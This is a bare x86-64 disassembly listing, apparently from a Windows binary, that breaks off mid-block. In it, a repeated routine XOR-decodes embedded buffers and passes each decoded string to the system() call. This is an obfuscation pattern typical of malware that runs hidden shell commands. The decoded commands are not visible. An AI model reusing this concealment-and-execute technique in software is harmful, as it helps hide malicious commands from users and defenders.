mov r10, rax
cmp byte [rax + 0x99], 0
je 0x140056f07
mov r8d, r14d
cmp r15d, 2
jl 0x140056ec1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140056dc0
cmp r8d, 0x9a
jge 0x140056f07
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x9a
jl 0x140056ed0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0xa6bd]
lea rcx, [rbp + 0x65]
mov byte [rbp + 0x65], al
call fcn.1400711a0
mov r10, rax
cmp byte [rax + 0xc1], 0
je 0x140057097
mov r8d, r14d
cmp r15d, 2
jl 0x140057051
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xc0
jl 0x140056f50
cmp r8d, 0xc2
jge 0x140057097
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc2
jl 0x140057060
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0xa77f]
lea rcx, [rbp + 0x66]
mov byte [rbp + 0x66], al
call fcn.140071230
mov r10, rax
cmp byte [rax + 0xc1], 0
je 0x140057227
mov r8d, r14d
cmp r15d, 2
jl 0x1400571e1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xc0
jl 0x1400570e0
cmp r8d, 0xc2
jge 0x140057227
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc2
jl 0x1400571f0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0xa3d3]
lea rcx, [rbp + 0x67]
mov byte [rbp + 0x67], al
call fcn.1400712c0
mov r10, rax
cmp byte [rax + 0xb7], 0
je 0x1400573b6
mov r8d, r14d
cmp r15d, 2
jl 0x140057378
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xb8
jl 0x140057280
jmp 0x1400573b6
mov r9, r10
nop dword [rax + rax]
mov eax, 0x1f7047dd
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xb8
jl 0x140057380
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0xa48b]
lea rcx, [rbp + 0x68]
mov byte [rbp + 0x68], al
call fcn.140071350
mov r10, rax
cmp byte [rax + 0xb7], 0
je 0x140057546
mov r8d, r14d
cmp r15d, 2
jl 0x140057508
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xb8
jl 0x140057410
jmp 0x140057546
mov r9, r10
nop dword [rax + rax]
mov eax, 0x1f7047dd
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xb8
jl 0x140057510
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x87b2]
lea rcx, [rbp + 0x69]
mov byte [rbp + 0x69], al
call fcn.1400713e0
mov r10, rax
cmp byte [rax + 0x97], 0
je 0x1400576d6
mov r8d, r14d
cmp r15d, 2
jl 0x140057698
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x98
jl 0x1400575a0
jmp 0x1400576d6
mov r9, r10
nop dword [rax + rax]
mov eax, 0x1f7047dd
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x98
jl 0x1400576a0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x897a]
lea rcx, [rbp + 0x6a]
mov byte [rbp + 0x6a], al
call fcn.140071460
mov r10, rax
cmp byte [rax + 0x98], 0
je 0x140057867
mov r8d, r14d
cmp r15d, 2
jl 0x140057821
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140057720
cmp r8d, 0x99
jge 0x140057867
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x99
jl 0x140057830
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x84bf]
lea rcx, [rbp + 0x6b]
mov byte [rbp + 0x6b], al
call fcn.1400714f0
mov r10, rax
cmp byte [rax + 0x96], 0
je 0x1400579f7
mov r8d, r14d
cmp r15d, 2
jl 0x1400579b1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x1400578b0
cmp r8d, 0x97
jge 0x1400579f7
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x97
jl 0x1400579c0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7b18]
lea rcx, [rbp + 0x6c]
mov byte [rbp + 0x6c], al
call fcn.140071580
mov r10, rax
cmp byte [rax + 0x88], 0
je 0x140057b87
mov r8d, r14d
cmp r15d, 2
jl 0x140057b41
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x88
jl 0x140057a40
cmp r8d, 0x89
jge 0x140057b87
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x89
jl 0x140057b50
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8a13]
lea rcx, [rbp + 0x6d]
mov byte [rbp + 0x6d], al
call fcn.140071600
mov r10, rax
cmp byte [rax + 0x98], 0
je 0x140057d17
mov r8d, r14d
cmp r15d, 2
jl 0x140057cd1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140057bd0
cmp r8d, 0x99
jge 0x140057d17
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x99
jl 0x140057ce0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x81d1]
lea rcx, [rbp + 0x6e]
mov byte [rbp + 0x6e], al
call fcn.140071690
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x140057ea7
mov r8d, r14d
cmp r15d, 2
jl 0x140057e61
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140057d60
cmp r8d, 0x96
jge 0x140057ea7
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x96
jl 0x140057e70
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8267]
lea rcx, [rbp + 0x6f]
mov byte [rbp + 0x6f], al
call fcn.140071720
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x140058037
mov r8d, r14d
cmp r15d, 2
jl 0x140057ff1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140057ef0
cmp r8d, 0x96
jge 0x140058037
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x96
jl 0x140058000
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x82fd]
lea rcx, [rbp + 0x70]
mov byte [rbp + 0x70], al
call fcn.1400717b0
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x1400581c7
mov r8d, r14d
cmp r15d, 2
jl 0x140058181
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
